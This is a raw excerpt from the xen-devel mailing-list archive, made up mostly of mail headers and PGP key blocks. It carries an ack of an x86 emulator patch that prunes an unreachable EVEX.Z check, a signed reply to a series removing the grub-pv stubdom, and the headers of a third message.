 b=aHsFHM72rN2/MPZD4zgSgZFHUrn9VDOReWwY1n5JwJJpDqtVD+kz8/W8Bld0Bl0U+8XKBe4GuV8cz1+RPT98Gf00xw0F8GleJOcEhIMqenjj6KEwSiroPQD0LicsH9iwjG5aLc8pchXET2Rast7YDusTm61wzkiW0jovEzxz8tLCoWb8n0Bx1b0S85W7oMZFlMY4zgp6ssMMJf09wNgEUNTZoBeBeg8Wl5qCZm/SZR5pTbt9CS5AR5og2bTzgnnd7ocbMKwFeO0hjYOMukR+Xv0fE+9U+GgMbn58oU9dlsvK4O5dmxOdWIjJsFjIzmsKGLpZgFhphhd9eJAhhBrDbg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=DfENnASAEPURJeNZVaMWUj1HrsAiqnu55Q3FMJw+6jI=;
 b=QYwevx1tXxwEQsazC1I81g1ZZEWQWWu4cDn7VAnkDZ8dTSo23pxsJ+CBVpet6/2gTS3siMa/xziKbnnsjs0VmAJ+0jdfd2GD1YKwbyMhCopIJoMhjnsCZC1YlheYvY1Cg0WvcuyqnnNgSUoqhy6F7Tr5o7bMsGHf4UL01JDaRBiGqZlHwvK08sYc3zYsb+q0Dmt5SZsLSmG1mx0KcRucwJnUt91v8vryTyarzHBWaFKqxoqgx45i+AFBtMRE3hLu2rpKLIx7TI3DnZ88Ra4acHTE325qN5CPMLiBAro41mBzT5/njObKG6N7RK5ip9qvMAXeh9e3kSromZ5ZLEwhkQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=DfENnASAEPURJeNZVaMWUj1HrsAiqnu55Q3FMJw+6jI=;
 b=G0eezDOArrPrqet3j3cG6Eq783YqoMFiu2f+QxTWxdr7vC2OfnpTgN8Tu+Fw3B3eNdznnp+DPNAPn10TDSHRJXcjSt9WVcut1oJx7zXdHonX6hFYmH1j2TqUkn+uaJqBJwCmQaX6GUQP6hDQEkKDu3E4nBTfuq0UWrHEvqB269U=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <2edd358b-f29a-4458-a8d1-30e81640986f@citrix.com>
Date: Mon, 20 Jul 2026 15:19:18 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH] x86emul: prune an excess EVEX.Z check
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <0c34b3d1-2567-4d08-811b-12f9d49f95d7@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29v
 cGVyIDxhbmRyZXcuY29vcGVyM0BjaXRyaXguY29tPsLBegQTAQgAJAIbAwULCQgHAwUVCgkI
 CwUWAgMBAAIeAQIXgAUCWKD95wIZAQAKCRBlw/kGpdefoHbdD/9AIoR3k6fKl+RFiFpyAhvO
 59ttDFI7nIAnlYngev2XUR3acFElJATHSDO0ju+hqWqAb8k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: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P265CA0278.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:37a::19) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|CY2PR03MB192490:EE_
X-MS-Office365-Filtering-Correlation-Id: df9531b1-a5ab-481a-5db8-08dee669e437
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|366016|1800799024|376014|10067099003|56012099006|11063799006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	KtrmsMPQIgymp3OXIZ2kTiLwUHZey3wqykbM4ffvW4exQJf7mFxFwb4yUHyKiq0g63n4+ffunFn4ZfQIZ+UhKUGo5solv9MS8UHkkGyefa7OGlBYNJaOmh3OKi1i8c6EpATjDgK9dErC+Z4Wct0+Um+MCjr1iD7Y5sA2BK+TQqqK+MoZhm4p3IXb2fRLSQYXh0l2zVlyTI7b49iWVJ31B5JrlmVJ9tGNZH1l2inYaKN6+V3n+r+7s8kegFkAPDxJfFdNyaxDzcWUmsOXpO4YGB66JSzKYvo69CR8F5aWzhxIUcbOojWeDU76Kz5IEWCTi/gFVchdrJwx2po7KIv3+aqrG2Ml6rd4XA5h4reD5s5p1F+d9+YLGYAV01mw+HxCuBdxVe9aJzDDLlAjxYb/LrvpAmbDLSZvThE4nmzVdJ6+R+eHQdEfchZZTPmJcZVhVutjfSIDz/PMQg9kyjMbxKGIn5YrwRNJh7kCVAcM0pJhy/tVek1M/iaxFDSY4P+kH5rS4HICZLc9Kzt677QlIATE2r57KQ4HCT/FKeHEHFD55OIlthzjsR5jIjnW73E9SYZT3idBjamH1jZimM/E0eq5mwhIX0mdUSrSipnvtlLM46RZg8E/ghA9T9IhHfXynsGVH+SDJMyIhkDOhu0+WEUWHDv9X40YG/5Lhf96AdE=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(366016)(1800799024)(376014)(10067099003)(56012099006)(11063799006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?NndyNW01TlhZcE5KS0JTYjkyaDZod0Y4NCsrT3JlbWVpUmtvMkRINDRRdDVG?=
 =?utf-8?B?WkRQamxJWlZoYVhrVXkrVk4xaHpSZlpQNHF6ZUdBS1NlWXlNSEN1S3VZUXJ1?=
 =?utf-8?B?dTIwQkxBcTR3Wmt4aVo3UElTK0hxemRrMjNRMjcrVUQ3WGlQVzFDdERaY0VY?=
 =?utf-8?B?R25qb0o4VU1GbjJKTXRmS0VabzErUDdaQ3JCRU1jQjNJWnVKSEtJb1A2MzMr?=
 =?utf-8?B?ajVoOVVQd3BJcmVqa0VYZlpUZDRFQkNsTlFDWGxwWFdPK3Z2MkpLaTF6MUFW?=
 =?utf-8?B?S2d2Wm9PditIOGVIWmVjd2V2a1lWMEFacGVWSWZ2cVdFWXZTNUdKcGdNYUwz?=
 =?utf-8?B?a2tiTXJydmVvcjJ2YlVZUHNPNFhzMGdrZEZBWjhsSFZQLzhPSWFkNzA0cEVl?=
 =?utf-8?B?MjFOaHJnVlAyT0JqVWVJd0VyT1p5bVFLM2lHWTRQMk5DQ3lYMGJlRGVVc1lK?=
 =?utf-8?B?aVJ2Qk00T0RVeFNEenBCd2Yxb0swbGRtbmRKZ2hIS2N6WkQ0ekxTaUNzbHB4?=
 =?utf-8?B?QWhiRExBaGVDRGgrU2tsVVRlOGUxNmw3Zll0SFBnQjlBeUFrYzhqUVQxU1pL?=
 =?utf-8?B?MzVVYldqeTBBS1N5OXl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=?utf-8?Q?8ct63bZIH6eR0Qj8=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: df9531b1-a5ab-481a-5db8-08dee669e437
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 20 Jul 2026 14:19:20.9535
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: l8oDbH/VcuiQjl8fED/34hbWU07lMZ8g0AMReXLp8WdTy20ymNPAYUDsooqW4rX7H2dhweXjZAMJzhJ+B2UJdzH5cQpSNSlFVbRXM263/FQ=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CY2PR03MB192490
X-purgate-ID: tlsNG-33051d/1784557164-6E0D14E9-17543828/0/0
X-purgate-type: clean
X-purgate-size: 436

On 17/07/2026 3:06 pm, Jan Beulich wrote:
> DstMem processing early in x86_emulate() raises #UD when EVEX.Z is set
> with a memory destination. Open-coded checks like this one are therefore
> dead / unreachable code, violating Misra rules.
>
> Fixes: 4037a62ef93e ("x86emul: support AVX512F floating-point conversion insns")
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:22:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:22:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366628.1616573 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlot1-0007Ui-RW; Mon, 20 Jul 2026 14:22:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366628.1616573; Mon, 20 Jul 2026 14:22:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlot1-0007Ub-N2; Mon, 20 Jul 2026 14:22:27 +0000
Received: by outflank-mailman (input) for mailman id 1366628;
 Mon, 20 Jul 2026 14:22:26 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7fe8058b000edb5@swg.vates.tech>)
 id 1wlosz-0007U9-LB
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:22:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlosy-00G6nc-R7
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:22:24 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7fe8058b000edb5@swg.vates.tech>)
 id 6a5e2f14-e002-0a2a0a5209dd-0a2a4503c648-16
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:22:24 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7fe8058b000edb5@swg.vates.tech>)
 id 6a5e2f20-fae8-0a2a45030019-b9ff1c2293f7-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:22:24 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f7fe8058b000edb5.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 20 Jul 2026 14:22:20 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 3AF1782A84;
 Mon, 20 Jul 2026 16:22:19 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=XtsCqU7cC9FKRaGQnP6F0uLaWrZD7JUaj64f5N7e9Hc=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Nk+30afo8znuCTV+B049yc7/MLEfVtbrOWr7wpC3zdl8v4gzwGFN38wKoo7ufrG/UXqzOj3cy
 a6SayNtVamgnfHcfaIr/luVYkqTV6SggdQJqKM65Rs9VK6torn4tdKhV4n5K5cuAdvaXRJQTTMP
 9EWI/Bz7nJTg2PByti5mGJzLLAU05e+rw4eYHTyOgOZGaMMCkHwpktjcZ4KnoJLGZE/SJd71sdY
 8/ZmuhiEj0M7m+l3MRSfEqXctMb21x+Kbfi/xg1VXKwbZ0ySil6LETXHPAPUoymD8N1WcM2oylm
 2TZsq772/W1D2rBNm6M/SMLrA84u6VRqQ5NWps/tCs4g==
X-Zone-Loop: a5be2578336758bbf3db7ed1a466ddb10981b3e383f2
x-campaign-type: default
x-transaction-id: 38131ac3-d93a-4849-9905-811409afa04a
x-swg-uid: 01-c8b7a654-b74d-45a3-b74f-09b86dfb2a77
X-Mailer: Sweego
Message-ID:
 <1784557340.8631fc262581453bbf619ec5b2062170.19f7fe8058b000edb5@vates.tech>
x-swg-bid: 1784557340.8631fc262581453bbf619ec5b2062170.19f7fe8058b000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Mon, 20 Jul 2026 16:22:18 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 0/5] stubdom: remove grub-pv
To: Juergen Gross <jgross@suse.com>, xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Stefano Stabellini <sstabellini@kernel.org>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>
References: <20260720081833.4122182-1-jgross@suse.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ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nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260720081833.4122182-1-jgross@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------HdAzCir1xe0SIHnkZnQpzYoS"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784557339458
X-purgate-ID: tlsNG-33051d/1784557344-6EACC4E9-2274FA1C/0/0
X-purgate-type: clean
X-purgate-size: 8304

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------HdAzCir1xe0SIHnkZnQpzYoS
Content-Type: multipart/mixed; boundary="------------FuewmTFnlbQwZDSILO4eB5zt";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Juergen Gross <jgross@suse.com>, xen-devel@lists.xenproject.org
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Stefano Stabellini <sstabellini@kernel.org>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>
Message-ID: <0b4df4cf-f587-4c78-b1f9-ac221d79428e@vates.tech>
Subject: Re: [PATCH v2 0/5] stubdom: remove grub-pv
References: <20260720081833.4122182-1-jgross@suse.com>
In-Reply-To: <20260720081833.4122182-1-jgross@suse.com>
Autocrypt-Gossip: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm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kFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==

--------------FuewmTFnlbQwZDSILO4eB5zt
Content-Type: multipart/mixed; boundary="------------HHZ3dAR4jeXV2fUAg51PbSFK"

--------------HHZ3dAR4jeXV2fUAg51PbSFK
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMjAvMDcvMjAyNiDDoCAxMDoyMCwgSnVlcmdlbiBHcm9zcyBhIMOpY3JpdMKgOg0KPiBU
aGUgZ3J1Yi1wdiBzdHViZG9tcyAoMzItIGFuZCA2NC1iaXQpIGFyZSBkaXNhYmxlZCBieSBk
ZWZhdWx0IHNpbmNlDQo+IHNldmVyYWwgeWVhcnMgbm93Lg0KPiANCj4gUmVtb3ZlIHRoZW0g
aW4gb3JkZXIgdG8gZW5hYmxlIHJlbW92aW5nIHF1aXRlIHNvbWUgbW9yZSBjb2RlIGZyb20g
WGVuLg0KPiBJbiBjYXNlIHNvbWVvbmUgaXMgcmVhbGx5IGRlcGVuZGluZyBvbiBncnViLXB2
LCB0aGV5IGNhbiBlYXNpbHkgdGFrZSBpdA0KPiBmcm9tIGFuIG9sZGVyIFhlbiBidWlsZCwg
YXMgdGhlcmUgaXMgbm8gWGVuIHZlcnNpb24gZGVwZW5kZW5jeSBpbg0KPiBncnViLXB2IChh
IHZlcnNpb24g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CBidWlsZHMgdGhpcyBjb21wb25lbnQuDQoN
ClRlZGR5DQo=
--------------HHZ3dAR4jeXV2fUAg51PbSFK
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp
0x0HfuhcYfAYPR46XHTvjaJEv99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuR
OxdK8G+Y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wgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------HHZ3dAR4jeXV2fUAg51PbSFK--

--------------FuewmTFnlbQwZDSILO4eB5zt--

--------------HdAzCir1xe0SIHnkZnQpzYoS
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpeLxoFAwAAAAAACgkQZg+p0QLLz9CO
tgwAmi92WmZUhjtAkiJOoSYQ9s0AANOZ7WVnFYA9/twz8Rp2H5yjy/F77a0te+N9Q1O2pMVVqX5l
fx8ObMVhiHQC/iAtVxkv8bEIDLzQA2XbbhvIoKmzgogK6A7m96jl1IwXnfL0FFThq8rlbkl534s+
dQk3a6VjWW7zxiUF0OqYaeXTtQImkW/pd7fXF4lXgXfO7CcMWQA7s4wiwS6WK6/AjoU6HDxBDhj9
l1rS4sJbz7gkDmwnR+MU077VUJ7HzKuJPJ98SdoROG0qhZ4jq+xFFjS9iPJ2TcqVEVZFRyc7CDes
nnjc8mShiJvlCAPUhFQv3/ZfXUne0uRTJIGTuD8bp1T7H/bVRTpcwwEJGY/L6ofq8oXhS851QLZH
ARlWW/gA9oCgqmLz5jQJH1gvjoVCjevYYxOZ0Gsw84duai4ceb+UfCWo3YFWYM7vcEi2zJws0I9D
VqiuqYzu5QsufzrRk9F+Jgm2kFwuBMJxWwkXztHroOIhUcS0dLMwvMulr6Im
=djeV
-----END PGP SIGNATURE-----

--------------HdAzCir1xe0SIHnkZnQpzYoS--


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:26:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:26:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366639.1616585 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlowu-00087U-Do; Mon, 20 Jul 2026 14:26:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366639.1616585; Mon, 20 Jul 2026 14:26:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlowu-00087N-Ay; Mon, 20 Jul 2026 14:26:28 +0000
Received: by outflank-mailman (input) for mailman id 1366639;
 Mon, 20 Jul 2026 14:26:27 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <philmd@oss.qualcomm.com>) id 1wlows-00087H-UW
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:26:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlows-00G7Yd-Ao
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:26:26 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e3009-e002-0a2a0a5209dd-0a2a4508bdea-16
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:26:26 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e3010-f659-0a2a45080019-cddcb483eab0-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:26:25 +0200
Received: from pps.filterd (m0279872.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66KDqelr2604326
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 14:26:24 GMT
Received: from mail-qt1-f200.google.com (mail-qt1-f200.google.com
 [209.85.160.200])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fhggg9j6m-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 14:26:23 +0000 (GMT)
Received: by mail-qt1-f200.google.com with SMTP id
 d75a77b69052e-51a8c689b5fso195904571cf.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 07:26:23 -0700 (PDT)
Received: from [192.168.69.219] (88-187-86-199.subs.proxad.net.
 [88.187.86.199]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4955d6d9e71sm104268275e9.14.2026.07.20.07.26.20
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 07:26:21 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
